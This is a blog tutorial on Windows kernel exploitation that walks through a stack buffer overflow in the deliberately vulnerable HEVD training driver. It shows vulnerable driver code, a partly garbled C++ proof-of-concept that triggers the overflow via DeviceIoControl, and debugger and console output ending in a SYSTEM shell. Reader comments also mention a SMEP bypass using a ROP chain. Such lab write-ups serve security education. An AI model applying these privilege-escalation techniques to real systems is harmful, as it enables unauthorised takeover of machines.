Himanshu Khokhar's Blog

Q

Windows Kernel Exploitation Part 1: Stack Buffer Overflows

BY HIMANSHU KHOKHAR / ON APRIL 3, 2019

Introduction

Welcome to the first part of Windows Kernel Exploitation series. In the first part, we are starting with a vanilla stack buffer overflow in the *HackSysExtremeVulnerableDriver*.

When a buffer present on stack gets more data than it can store (for e.g. Copying 20 bytes on a 16-byte buffer, which can be a character array or similar object), the remaining data gets written in nearby location, effectively overwriting or corrupting the stack.

The core idea is to control this overflow so that we can overwrite **saved return address** on the stack and after execution of current (vulnerable) function, it will return to our overwritten value, which contains our shellcode.

Note: After execution of our shellcode, the code execution must return to the application, kernel in this case, else it breaks the application. Usually, the application crashes and we can restart it but in case of kernel memory corruption, the kernel issues a kernel

panic and it will give a **Blue Screen of Death**, which is the last thing we want.

To fix this, we need to restore the execution path so that after the execution of our shellcode, it returns to the function it was supposed to return after executing the vulnerable function.

Vulnerability

Now we have got it cleared, let us have a look at the vulnerable code (function *TriggerStackOverflow* located in *StackOverflow.c*). Initially, the function creates an array of **ULONG**s which can hold 512 member elements (*BufferSize* is set to 512 in *common.h* header file).

```
65 NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
        NTSTATUS Status = STATUS SUCCESS;
67
       ULONG KernelBuffer[BUFFER_SIZE] = {0};
        PAGED_CODE();
70
         _try {
             // Verify if the buffer resides in user mode
            ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG) alignof(KernelBuffer));
74
            DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
76
            DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
            DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
78
            DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
```

Vulnerable function

The kernel then checks if the buffer resides in user land and then it allocates memory for it in Non-Paged Pool.

Once that has been done, the kernel then copies the data from user mode buffer to the kernel mode *KernelBuffer*, which essentially is an array of **ULONG**s.

```
92 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
```

Point of overflow

The Overflow

Note the third parameter to *RtlCopyMemory*, which essentially is *memcpy*, the **Size** parameter is the size of user mode buffer and **NOT** the size of kernel mode buffer. This is the exact point where the buffer overflow is happening.

Verifying the bug

Now, to verify whether it is actually where the bug resides, we will write a function that calls the *IOCTL* of the function *StackOverflowIoctlHandler*. The IOCTL codes are given in the **Exploit/common.h** file.

Note: We could have obtained the IOCTL code from the compiled driver itself but since we have an advantage at our disposal, why not use it.

What is an IOCTL code?

"I/O control codes (IOCTLs) are used for communication between user-mode applications and drivers, or for communication internally among drivers in a stack. I/O control codes are sent using IRPs." – Microsoft.com

Basically, you can directly invoke kernel functionality in a driver if that driver has IOCTL codes associated with it.

To use an IOCTL code, we use **DeviceIoControl** function, which can be found here.

The prototype for *DeviceIoControl* function is:

```
Copy Copy
BOOL DeviceIoControl(
 HANDLE
            hDevice,
 DWORD
             dwIoControlCode.
 LPVOID
            lpInBuffer,
 DWORD
            nInBufferSize,
            lpOutBuffer,
 LPVOID
             nOutBufferSize,
 DWORD
 LPDWORD
             lpBytesReturned,
 LPOVERLAPPED lpOverlapped
```

Prototype of DeviceloControl

I wrote a function in C++ that calls *DeviceIoControl* to invoke *StackOverflowIoctlHandler* which in turn calls *TriggerStackOverflow*, which is the vulnerable function.

Since we know the buffer is of 512 ULONGs, that is certain, after that, we are appending 100-byte pattern generated by *pattern_create.rb* from Metasploit framework.

Finally, send this buffer to HEVD and see what happens.

Note: This function is in the header file *StackOverflow.h* and the main function calls it. You can find whole code in my code repo here.

```
BOOL bSuccess = FALSE;

DWORD dwBytesReturned;

DWORD dwSize;

DWO
```

POC for Exploiting Stack overflow

```
cout << "\t[+] Triggering the bug. Hope for the best." << endl;

bSuccess = DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_STACK_OVERFLOW, 1pInBuffer, dwSize + dwOffset, NULL, 42,

RdwBytesReturned, NULL);

if (bSuccess == FALSE)
{
    cout << "\t[+] For some reason, the operation failed." << endl;
}

cout << "\t[+] Cleaning the payload." << endl;

HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, 1pInBuffer);

return bSuccess;
}
```

POC for Exploiting Stack overflow

After compiling and executing the binary on the Win7 machine, we get this in WinDbg:

```
***** HACKSYS_EVD_STACKOVERFLOW ******

[+] UserBuffer: 0x00218C78

[+] UserBuffer Size: 0x864

[+] KernelBuffer: 0x999042B4

[+] KernelBuffer Size: 0x800

[+] Triggering Stack Overflow
Access violation - code c0000005 (!!! second chance !!!)
31624130 ?? ???
```

Crash in WinDbg

We can see there was an access violation and EIP was pointing to **31624130**.

After using *pattern_offset.rb* from Metasploit on this pattern, we find the offset it 32. Let us move ahead and exploit it.

Exploiting the Overflow

All now remains is to use overwrite the saved return address with the *TokenStealingPayloadWin7* shellcode provided in HEVD and you are done.

Note: You may need to modify the shellcode a bit to save it from crashing. This is your homework.

Getting the Shell

Let us first verify whether I am a regular user or not.

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\PwnRip>cd Desktop

C:\Users\PwnRip\Desktop>whoami
win-14k84uk0av5\pwnrip

C:\Users\PwnRip\Desktop>_
```

Regular User

As it can be seen, I am just a regular user.

After we run our exploit, I become **nt authority/system**.

```
HEVD Solutions

-- Himanshu Khokhar (@pwnrip)

[+] Opening device \\.\HackSysExtremeVulnerableDriver
[+] Device opened successfully.
[+] Handle Obtained: 0x00000024
[+] Making space for your payload.
[+] Payload prepared
[+] Triggering the bug. Hope for the best.
[+] Cleaning the payload.
[+] Exploitation done.
[+] Exploit succeeded. Shell is coming.
[+] Summoning Jutsu: Shell.exe
[+] Closing device handle.

C:\Users\PwnRip\Desktop>

C:\Users\PwnRip\Desktop>

C:\Users\PwnRip\Desktop>

C:\Users\PwnRip\Desktop>
```

NT Authority/SYSTEM Shell

That's for this this part folks, see you in next part.

References

- HackSysTeam
- FuzzySecurity

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HACKSYS EXTREME VULNERABLE DRIVER HEVD

KERNEL STACK OVERFLOW WINDOWS KERNEL EXPLOITATION

NEXT

Windows Kernel Exploitation Part 2: Type Confusion

9 Comments

nilesh bhakre

keep it up

☆ APRIL 3, 2019

⇔ REPLY

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Himanshu Khokhar

Thanks man

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⇔ REPLY

PacketJustice

Excellent write up; simple explanation and concise to the point. Keep them coming.

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⇔ REPLY

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Himanshu Khokhar

Thanks for the feedback, will definitely keep them coming.

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⇔ REPLY

Sanguine

I watched the video at





Is this the video you made? If so, please explain in detail what you did to bypass smep in windows 10 rs4.

II JUNE 27, 2019

⇔ REPLY

•

Himanshu Khokhar

Hi, yes, that is my video which I used to demo SMEP bypass during a talk.

I basically used a ROP chain to disable SMEP and then jumped to my shellcode.

II JUNE 28, 2019

⇔ REPLY

Sanguine

Thank you. It has helped a lot.

II JUNE 28, 2019

⇔ REPLY

Harsh Chaudhary	
Good Job my friend. Keep Magnifying yourself.	
☐ JUNE 27, 2019	⇔ REPLY
≛ Himanshu Khokhar	
Thank you	
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